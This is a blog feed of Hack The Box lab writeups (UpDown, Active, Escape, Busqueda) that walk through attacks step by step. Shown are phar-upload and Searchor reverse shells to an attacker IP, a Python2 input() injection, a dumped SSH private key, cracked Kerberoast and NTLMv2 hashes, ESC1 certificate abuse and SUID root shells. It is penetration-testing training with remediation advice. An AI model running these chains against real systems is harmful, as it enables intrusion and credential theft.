Make .phar file.

zip payload.phar php-info.php

Upload the file.

Then, a new file appears in the uploads directory.

Let's open the file via the GET parameter: page.
http://dev.siteisup.htb/?page=phar://uploads/04f00185c2921425e8e3da99b1a8334e/payload.phar/php-info

It opens!

This PHP configuration disables common RCE functions such as system, exec, and shell_exec.

After checking some writeups, I understand that there is still a command that can be used for RCE.
https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720

proc_open is not included in the disable_function.

The following site shows us a way to get a reverse shell using proc_open.
https://gist.github.com/simran-sankhala/d94bc4e42fee5158395d189ec39ecac4

Same as before:

Make a file as shown
Generate a .phar file from the PHP file
Upload the file
Open it via the GET parameter: page

The shell obtained!

However, we cannot reach the user.txt.

Let’s stabilize the shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Search the entire system for executable files with the SUID bit set.

find / -perm -u=s -type f 2>/dev/null

/home/developer/dev/siteisup seems interesting.

file /home/developer/dev/siteisup

It's an ELF binary file.

Let’s execute it and see how it behaves.

It uses /home/developer/dev/siteisup_test.py.

The print function doesn’t use parentheses, which suggests this is a Python2 script.
Also, unlike Python3, Python2’s input() evaluates the entered string as a Python expression before returning it.

So, let’s input __import__('os').system('id') to see if there is a vulnerability.

There is!

Let's make a shell via __import__('os').system('/bin/bash').

We get shell of developer!

However, we still cannot get user.txt...

Checking the id, we notice the gid is still www-data.

Searching for other clues, there is id_rsa of developer.

Let's use it to login through ssh.

 echo '-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----' > id_rsa

chmod 600 id_rsa

ssh developer@siteisup.htb -i id_rsa

cat /home/developer/user.txt

We get it!

Privilege Escalation

First, let's see sudo -l.

/usr/local/bin/easy_install seems interesting.

Let's check what is it.

According to GTFOBins, the following method gives us a root shell directly in the current terminal.
https://gtfobins.org/gtfobins/easy_install/

mkdir /tmp/evil
cd /tmp/evil
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
sudo  /usr/local/bin/easy_install .

We get it!

Lessons Learned

Two approaches to subdomain enumeration

1. Sub-domain Fuzzing — looks for names that actually exist in DNS (a DNS-level lookup)

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.{{DOMAIN}}/

2. VHost Fuzzing — when the name isn’t registered in DNS, send different candidate names directly in the Host header and look for the one that returns a different response. This is the approach to use on environments like HTB.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://{{DOMAIN}}/ -H 'Host: FUZZ.{{DOMAIN}}' -fs xxx

Wordlist containing `.git`

I should have used feroxbuster with a wordlist that includes .git. I initially used DirBuster-2007_directory-list-2.3-medium.txt, but since it didn’t contain .git, I switched to /usr/share/wordlists/dirb/common.txt.

PHAR (PHP Archive

PHAR is a format that bundles multiple PHP files (classes, code, resources, etc.) into a single archive file. When a file is accessed through the phar:// wrapper, PHP automatically deserializes the metadata embedded in that file. This wrapper is used to access the contents of a compressed archive once the file has been uploaded.

?page=phar://uploads/{md5_value}/payload.phar/hello

ELF Binaries

ELF (Executable and Linkable Format) is the standard executable file format used on Linux/Unix systems — equivalent to .exe (PE format) on Windows. ELF binaries are relevant in several ways: they’re common reverse engineering targets (analyzed with tools like. strings), SUID-enabled ELF binaries are a frequent privilege escalation target.

Python-related vulnerabilities

Python2’s input(): Unlike Python3, Python2’s input() evaluates the entered string as a Python expression (equivalent to eval(raw_input())), allowing arbitrary code execution if user input is passed directly to it.
eval() injection: When user input is passed into eval(), arbitrary Python code can be injected — often using __import__('os').system(...) to bypass restrictions on direct import statements.
Reference: https://hacktricks.wiki/generic-methodologies-and-resources/python/bypass-python-sandboxes/

HTB - Active Writeup - no Metasploit

nekohige — Thu, 08 Oct 2026 02:07:08 +0000

Summary

The share contained a Groups.xml file storing credentials, which was readable by anyone, and a credential was found inside it. This credential used the now-deprecated cpassword field, so I was able to decrypt it and obtain the plaintext password. Using the obtained credential, I performed Kerberoasting and was able to retrieve the Administrator's credentials, which allowed me to get a shell.

Recommendation

Assuming this were a real environment, I would recommend the following.

The share should not have been configured to allow read access for everyone.
cpassword is insecure by design, and even Microsoft has deprecated it — it should never be used anymore.
The password should have been longer and more complex to prevent it from being cracked with a wordlist like rockyou.
Most importantly, an SPN should never have been assigned to the Administrator account in the first place.

Reconnaissance

First of all, let's perform a port scan using Nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.11

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.11

53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can consider that it is Windows with AD service.
Also, the domain is active.htb.

Let's add the host entry to /etc/hosts.

echo "10.129.228.253 dc.sequel.htb sequel.htb" | sudo tee -a /etc/hosts

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.11

No interesting UDP port is open.

Enumeration

Let's try anonymous login for shares, users and groups.

nxc smb 10.129.52.11 -u '' -p '' --shares --users --groups

It indicates that we have READ permission for Replication folder.

Let's check the Replication folder.

smbclient //10.129.52.11/Replication

After an initial look, I noticed there were deep folders, so I decided to download them all.

recurse ON
prompt OFF
mget *

Let's check whether there are any credentials.

grep -rinaE 'pass(word)?|secret|token|api[_-]?key' . 2>/dev/null

The following credential is revealed.
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

This cpassword is an encrypted password that anyone can decrypt as follows.

Let's check what service this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.52.11 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' $a; done; done; for p in ssh ftp; do nxc $p 10.129.52.11 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'; done

 xfreerdp3 /u:SVC_TGS /p:GPPstillStandingStrong2k18 /v:10.129.228.253 /cert:ignore

Nothing seems valid.

Exploitation & Privilege Escalation

Let's try Kerberoasting using the credential we found.

impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.52.11 -request -outputfile kerb.txt

There's a cached credential for Administrator!

Crack it with rokyou.txt.

 hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

The password is revlealed: Ticketmaster1968.

Check what service is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.52.11 -u 'Administrator' -p 'Ticketmaster1968' $a; done; done; for p in ssh ftp; do nxc $p 10.129.52.11 -u 'Administrator' -p 'Ticketmaster1968'; done

Let's use WMI to login as Administrator.

impacket-wmiexec active.htb/Administrator:'Ticketmaster1968'@10.129.52.11

type C:\Users\SVC_TGS\Desktop\user.txt

type C:\Users\Administrator\Desktop\root.txt

Done!

Lessons Learned

I couldn't get a shell as svc_tgs this time. I'll treat this as a follow-up topic to study later.

HTB - Escape Writeup - no Metasploit

nekohige — Tue, 06 Oct 2026 21:31:16 +0000

Summary

I used credentials found in an SMB share to connect to MSSQL, and captured the NetNTLMv2-SSP hash of the user running the SQL Server service using Responder. From the shell, I moved laterally using credentials found in an error log file. Then, I discovered an AD CS misconfiguration where certificates were issued based on self-declared identity without proper verification, which allowed me to obtain a certificate for the Administrator account and achieve privilege escalation.

Recommendation

Assuming this were a real environment, I would recommend the following:

Remove confidential files from publicly accessible shares. The pdf file should have been removed.
Harden the AD CS configuration. The CA should not allow certificates to be issued based on self-declared identity. Additionally, certificate enrollment permissions should be restricted to only the users and groups that require them.

Reconnaissance

Let's start reconnaissance with nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.228.253

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.228.253

53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can conclude that it is Windows with AD service.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.228.253

No interesting UDP is open.

Enumeration

nxc smb 10.129.228.253

Machine name is DC.
Domain is sequel.htb.

Let's add the host entry to /etc/hosts

echo "10.129.228.253 dc.sequel.htb sequel.htb" | sudo tee -a /etc/hosts

Let's try an anonymous (guest) SMB login against the target and enumerates shares, domain users, and domain groups

nxc smb 10.129.228.253 -u 'guest' -p '' --shares --users --groups

An unusual share is revealed: Public.

Let's investigate the content.

smbclient //10.129.228.253/Public -U 'sequel.htb\guest%'

PDF file is there.

Download and see its inside.

mget *

There is a credential!
PublicUser : GuestUserCantWrite1

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'PublicUser' -p 'GuestUserCantWrite1' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'PublicUser' -p 'GuestUserCantWrite1'; done

This credentail is valid for MSSQL!

We can access its MSSQL by following.

impacket-mssqlclient 'PublicUser:GuestUserCantWrite1@10.129.228.253'

For shell acquisition, I checked the MSSQL service for any suspicious databases or insecure configurations, but nothing was usable. After some research, I found that we can try Responder to capture the NetNTLMv2 hash of the user running the SQL service.

Activate responder in Kali.

sudo responder -I tun0 -v

Have the target SQL Server attempt a directory listing against my Kali machine.

EXEC MASTER.sys.xp_dirtree '\\10.10.17.153\test', 1, 1

target machine

kali machine

NTLMv2-SSP Hash is obtained!

Let's crack it.

echo 'sql_svc::sequel:beb8535ba44c71d4:DA07067E4F92AC598FF145B2C2CD5F44:0101000000000000805F4F229855DD016AC43DB8DD1781D00000000002000800510053005000430001001E00570049004E002D0049004C004C0058005A0037005A004E004C0037004F0004003400570049004E002D0049004C004C0058005A0037005A004E004C0037004F002E0051005300500043002E004C004F00430041004C000300140051005300500043002E004C004F00430041004C000500140051005300500043002E004C004F00430041004C0007000800805F4F229855DD01060004000200000008003000300000000000000000000000003000002262E7B6C0A20649E5A5099C96C599C056B22733BDA484706963412EACF2130C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310037002E003100350033000000000000000000' > hash.txt
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Since this task consumes a lot of resources, I ran it on macOS instead.
A credentail is revealed: sql_svc : REGGIE1234ronnie .

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'sql_svc' -p 'REGGIE1234ronnie' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'sql_svc' -p 'REGGIE1234ronnie'; done

It's valid for WINRM.

evil-winrm -i 10.129.228.253 -u sql_svc -p REGGIE1234ronnie

I checked for any unusual services or folders and found SQLServer folder and an ERRORLOG.BAK file.

download ERRORLOG.BAK

The file contains a credential as follows.

Ryan.Cooper : NuclearMosquito3

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'Ryan.Cooper' -p 'NuclearMosquito3' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'Ryan.Cooper' -p 'NuclearMosquito3'; done

It's valid for WINRM.

User.txt is obtained as follows.

evil-winrm -i 10.129.228.253 -u Ryan.Cooper -p NuclearMosquito3

type C:\Users\Ryan.Cooper\Desktop\user.txt

Privilege Escalation

For privilege escalation, I attempted to investigate credentials and Kerberoasting, but found nothing valid. After some research, I found that AD CS (certificate services) misconfigurations could be used to get an administrator shell. After a second look, I noticed that the winPEAS output mentioned a potential vulnerability as follows.

Also, I noticed many ssl-cert entries in the nmap output. From what I've researched, having multiple certificate entries apparently indicates that the machine is running its own certificate authority (AD CS).

Let's use certipy-ad to check for vulnerability.

certipy-ad find -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -vulnerable

[...]

It indicates that it's vulnerable for ESC1 which means a low-privileged user can obtain a certificate that identifies them as the Administrator.

I referred to HackTricks for the command: https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html#misconfigured-certificate-templates---esc1

certipy-ad req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.228.253  -ca 'sequel-DC-CA'  -template 'UserAuthentication' -upn 'administrator@sequel.htb'

certipy-ad req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.228.253  -ca 'sequel-DC-CA'  -template 'UserAuthentication' -upn 'administrator@sequel.htb'

certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.129.228.253

This command didn't work due to the error of Clock shew too great.

So, I checked the difference between the target and mine, and adjusted the time using faketime.

D=$(ldapsearch -x -H ldap://10.129.228.253 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

faketime "+28736 seconds" certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.129.228.253

NTLM Hash is obtained!

Check what service we can use.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'; done

Finally, we get root.txt through WINRM.

evil-winrm -i 10.129.228.253 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

type  C:\Users\Administrator\Desktop\root.txt

Lesson Learned

Understand AD CS vulnerability and use of certipy.

HTB - Busqueda Writeup - no Metasploit

nekohige — Sat, 03 Oct 2026 07:35:39 +0000

Summary

This machine was compromised through a chain of three issues. First, the web application used a vulnerable version of a package, Searchor 2.4.0, which allowed arbitrary command injection. Second, a non-administrative user was permitted to run a script as root. Third, that script invoked a shell script using a relative path, which ultimately led to privilege escalation.

Recommendation

Assuming this were a real environment, I would recommend the following. Update the packages in use regularly to patch known vulnerabilities. Remove the ability for non-administrative users to run scripts as root, or restrict it to the minimum necessary. If running the script as root is unavoidable, the shell script must be called using an absolute path rather than a relative one.

Reconnaissance

First of all, perform a port scan using Nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.49.173

The scan results revealed that TCP ports 22 and 80 are open on the target host.

Next, perform a detailed scan on the open ports.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.49.173

The output shows "Service Info: Host: searcher.htb; ~", which tells us that this machine's hostname is searcher.htb.

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.49.173 searcher.htb" | sudo tee -a /etc/hosts

Enumeration

Access the following URL in a web browser.
http://searcher.htb/

Looking at the footer, we can see that it says "Searchor 2.4.0".

Searching the web for "Searchor 2.4.0 exploit" returns the following GitHub repository. It states that an arbitrary command injection vulnerability affects Searchor, including version 2.4.0.
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git

Exploitation

Let's use this exploit.

git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
chmod +x exploit.sh
./exploit.sh http://searcher.htb/ 10.10.17.153 4444

We got a shell!

Obtain the user.txt.

cat /home/svc/user.txt

Privilege Escalation

At the initial foothold, there is a .git repository.

ls -la

Let's check the config.

cat config

It is revealed that there is a set of credentials: cody : jh1usoih2bkjaspwe92.

Let's see other Git-related items such as logs.

git -c safe.directory='*' log --oneline --all

-c safe.directory='*' is used to bypass the following fatal error: fatal: detected dubious ownership in repository at '...'.

Proceed as instructed.

git config --global --add safe.directory /var/www/app
git -c safe.directory='*' log --oneline --all

There is a commit called 5ede9ed. Let's look inside it.

git -c safe.directory='*' show 5ede9ed

It contains administrator@gitea.searcher.htb, which suggests that a site called gitea.searcher.htb may exist.

So, let's add this name to /etc/hosts as well.

sudo vim /etc/hosts # append the hostname
cat /etc/hosts

Access the site in a web browser.
http://gitea.searcher.htb/

We can see Gitea, a Git hosting service similar to GitHub.

The following URL shows that there are two users: administrator and cody.
http://gitea.searcher.htb/explore/users

Let's try the obtained credentials for cody on SSH.

ssh svc@10.129.49.173

Logged in!

Let's look for anything that could be a key to privilege escalation.

sudo -l

It states that a script called system-checkup.py can be run as root.

Let's run the script.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

Let's try the first action in the list.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

It shows that there are two Docker containers: gitea and mysql_db.

Next action.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect

I couldn't understand what format it expected. After checking a walkthrough, I understood that it works the same way as the Docker command shown below.

https://docs.docker.com/reference/cli/docker/inspect/

https://docs.docker.com/engine/cli/formatting/

So, this is the command expected.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea

Let's use https://jsonprettier.com/ to make it easier to read.

{
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "State": {

[...]

        "Links": null,
        "Aliases": [
          "server",
          "960873171e2e"
        ],
        "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
        "EndpointID": "15e2c5b2165e4ffbf47533342c7d95f6ad7c67d3367a9d1d117d81ea6a792d3a",
        "Gateway": "172.19.0.1",
        "IPAddress": "172.19.0.2",
        "IPPrefixLen": 16,
        "IPv6Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "MacAddress": "02:42:ac:13:00:02",
        "DriverOpts": null
      }
    }
  }
}

We can see a password: yuiu1hoiu4i5ho1uh.

Let's try the password for the administrator account on Gitea. Access the following URL: http://gitea.searcher.htb/user/login?redirect_to=%2f, and log in with the credentials.

Logged in!

Looking at the source of system-checkup.py, the action called full-checkup runs ./full-checkup.sh, which is a relative path.

So, this implies that if I place a malicious script somewhere like /tmp and execute system-checkup.py from there, it will run my script.

Let's try it out.

cd /tmp; printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' >  full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

rootbash is created!

./rootbash -p

Root shell obtained!

Lessons Learned

Should have checked the Git config as well.
Should have run sudo -l first.
Should have recognized that it was a Docker command.
Should have noticed that the script used a relative path to call the shell script.

DEV Community: nekohige

HTB - Sauna Writeup - no Metasploit

Summary

Recommendation

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

HTB - Support Writeup - no Metasploit

Summary

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

HTB - Sau Writeup - no Metasploit

Summary

Recommendation

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

HTB - Forest Writeup - no Metasploit

Summary

Recommendation

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

HTB - ServMon Writeup - no Metasploit

Summary

Recommendation

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

HTB - UpDown Writeup - no Metasploit

Summary

Recommendations

Reconnaissance

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

Two approaches to subdomain enumeration

Wordlist containing .git

PHAR (PHP Archive

ELF Binaries

Python-related vulnerabilities

HTB - Active Writeup - no Metasploit

Summary

Recommendation

Reconnaissance

Enumeration

Exploitation & Privilege Escalation

Lessons Learned

HTB - Escape Writeup - no Metasploit

Summary

Recommendation

Reconnaissance

Enumeration

Privilege Escalation

Lesson Learned

HTB - Busqueda Writeup - no Metasploit

Summary

Recommendation

Reconnaissance

Enumeration

Exploitation

Privilege Escalation

Lessons Learned

Wordlist containing `.git`